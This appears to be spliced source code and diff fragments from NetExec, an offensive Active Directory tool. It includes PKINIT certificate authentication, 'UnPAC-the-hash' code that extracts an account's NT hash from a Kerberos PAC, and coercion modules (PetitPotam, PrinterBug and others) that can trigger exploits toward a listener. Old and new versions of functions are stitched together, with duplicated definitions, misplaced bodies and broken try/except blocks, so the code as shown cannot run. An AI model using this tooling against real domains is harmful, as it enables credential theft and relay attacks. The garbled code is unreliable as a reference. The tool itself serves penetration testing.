def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
"""Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
buffers = pac_type["Buffers"]
for _ in range(pac_type["cBuffers"]):
info_buffer = PAC_INFO_BUFFER(buffers)
buffers = buffers[len(info_buffer):]
connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
if info_buffer["ulType"] != 2: # PAC_CREDENTIAL_INFO
continue
credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
cipher = _enctype_table[credential_info["EncryptionType"]]
# Key usage 16: the PAC credential info, encrypted with the AS reply key
credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
serialization_header = TypeSerialization1(credential_data)
# Skip the 4 bytes of the ReferentID of the pointer following the header
credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
for credential in credentials["Credentials"]:
supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
return hexlify(supplemental_credential["NtPassword"]).decode()
connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
return None
def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
"""Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
Returns None, after logging why, when the hash cannot be recovered
"""
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
return _to_asn1_certificate(cert)
def _to_asn1_certificate(cert):
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
def _check_rsa_privkey(privkey):
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
if not isinstance(privkey, rsa.RSAPrivateKey):
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
return privkey
class myPKINIT:
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
which fails at import time on any OpenSSL whose version has a two digit component
"""
def __init__(self):
self.privkey = None
self.certificate = None
self.issuer = None
self.cname = None
self.diffie = None
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
# cryptography requires None (not an empty password) for a pfx without password
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
# a pfx holding only a certificate parses fine, so check the key before the certificate
if privkey is None:
raise Exception("No private key found in the PFX file")
if cert is None:
raise Exception("No certificate found in the PFX file")
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.certificate = _to_asn1_certificate(cert)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = _load_asn1_certificate(f.read())
with open(privkeyfile, "rb") as f:
keydata = f.read()
try:
try:
privkey = serialization.load_pem_private_key(keydata, password=None)
except ValueError:
privkey = serialization.load_der_private_key(keydata, password=None)
except TypeError as e:
# raised by both loaders when the key is encrypted and no password was given
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.UTC)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
nxc_logger.info("AS-REP encryption key (you might need this later):")
nxc_logger.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
nxc_logger.info("Recovered NT Hash")
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
nxc_logger.debug("AUTHENTICATOR")
nxc_logger.debug(authenticator.prettyPrint() + "\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
nxc_logger.debug("Final TGS")
nxc_logger.debug(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
nxc_logger.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
nxc_logger.debug("TGS_REP")
nxc_logger.debug(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
ticket = Ticket()
ticket.from_asn1(decoded_tgt["ticket"])
realm = str(decoded_tgt["crealm"])
now = datetime.datetime.now(datetime.UTC)
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = realm
seq_set(authenticator, "cname", client_name.components_to_asn1)
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
ap_req["ap-options"] = constants.encodeFlags([])
seq_set(ap_req, "ticket", ticket.to_asn1)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
# Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
req_body = seq_set(tgs_req, "req-body")
req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
req_body["realm"] = realm
seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
try:
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
# Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e: # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
connection.logger.fail(f"Failed to unPAC the hash: {e}")
return None
def pfx_auth(self, domain, username):
"""Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
return False
self.logger.info("Loading certificate and key from file")
try:
credentials = pkinit_credentials(self.args)
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except Exception as e:
except (PKINITError, ValueError) as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
return False
username = self.args.username[0]
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
log_ccache = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
if credentials is None:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return False
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
except (PKINITError, KerberosError, OSError) as e:
self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
ccache = CCache()
ccache.fromTGT(tgt, reply_key, session_key)
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
ccache.saveFile(ccache_path)
self.logger.info(f"Saved TGT to {ccache_path}")
self.logger.info("Successfully authenticated using Certificate")
return True
if self.protocol == "winrm": # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
return bool(nthash) and self.hash_login(domain, username, nthash)
# Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
os.environ["KRB5CCNAME"] = ccache_path
self.use_kcache = True
logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
if self.protocol == "smb" and self.args.unpac:
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
if nthash:
self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
self.db.add_credential("hash", domain, username, nthash)
return logged_in
def certificate_options(args):
+21
View File
@@ -0,0 +1,21 @@
from impacket.smbconnection import SMBConnection
def get_smb_connection(context, connection, timeout=3):
"""SMB session reusing the credentials of the current connection, or None when it cannot be established.
A certificate-only bind (--schannel) leaves no secret behind, and logging in without
one would count as a bad password attempt on the target, so no session is attempted.
"""
if not connection.has_reusable_secret:
context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
return None
smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
if connection.kerberos:
smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
elif connection.nthash or connection.lmhash:
smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
else:
smb.login(connection.username, connection.password, connection.domain)
return smb
+29 -9
View File
@@ -1,3 +1,4 @@
import ast
import nxc
import importlib
import traceback
@@ -6,6 +7,7 @@ import sys
from os import listdir
from os.path import basename, dirname
from os.path import join as path_join
from types import SimpleNamespace
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
@@ -75,12 +77,9 @@ class ModuleLoader:
return cls.module_cache[module_path]
def load_module(self, module_path):
"""Load a module, initializing it and checking that it has the proper attributes"""
"""Load and initialize a module, list_modules() already checked that it has the proper attributes"""
try:
module = self.load_module_file(module_path).NXCModule()
if self.module_is_sane(module, module_path):
return module
return self.load_module_file(module_path).NXCModule()
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
@@ -132,8 +131,28 @@ class ModuleLoader:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
def list_modules(self):
"""List modules without initializing them"""
def get_module_info_static(self, module_path):
"""Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
try:
with open(module_path, "rb") as f:
module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
# ast can't see what a base class or a decorator adds, so these modules are imported
if not module_class.bases and not module_class.decorator_list:
values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
module = SimpleNamespace(
**{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
**{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
category=CATEGORY[values["category"].attr],
)
# No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
except Exception as e:
self.logger.debug(f"Could not read {module_path} statically: {e}")
return self.get_module_info(module_path)
def list_modules(self, names=None):
"""List modules without initializing them, only the ones in names if given"""
modules = {}
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
@@ -142,10 +161,11 @@ class ModuleLoader:
for path in modules_paths:
for module in listdir(path):
if module[-3:] == ".py" and module != "example_module.py":
if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
try:
module_path = path_join(path, module)
module_data = self.get_module_info(module_path)
# -L reads the shipped modules statically, user modules are still imported so a broken one is reported
module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
modules.update(module_data)
except Exception as e:
self.logger.debug(f"Error loading module {module}: {e}")
+1 -1
View File
@@ -89,7 +89,7 @@ class NXCModule:
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
elif "STATUS_LOGON_FAILURE" in str(e):
+6 -11
View File
@@ -48,14 +48,13 @@ class NXCModule:
"""DFSCOERCE START"""
try:
dfscocerceclass = DFSCoerceTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
dfscocerceconnect = dfscocerceclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -79,14 +78,13 @@ class NXCModule:
""" ShadowCoerce START """
try:
shadowcocerceclass = ShadowCoerceTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
shadowcocerceconnect = shadowcocerceclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -114,14 +112,13 @@ class NXCModule:
context.log.debug(f"Trying to connect to {pipe} pipe")
try:
petitpotamclass = PetitPotamtTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
petitpotamconnect = petitpotamclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -151,14 +148,13 @@ class NXCModule:
for pipe in pipes:
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -169,7 +165,7 @@ class NXCModule:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, connection.remoteName, self.always_continue, pipe)
if not self.always_continue and exploit_status:
break
printerbugconnect.disconnect()
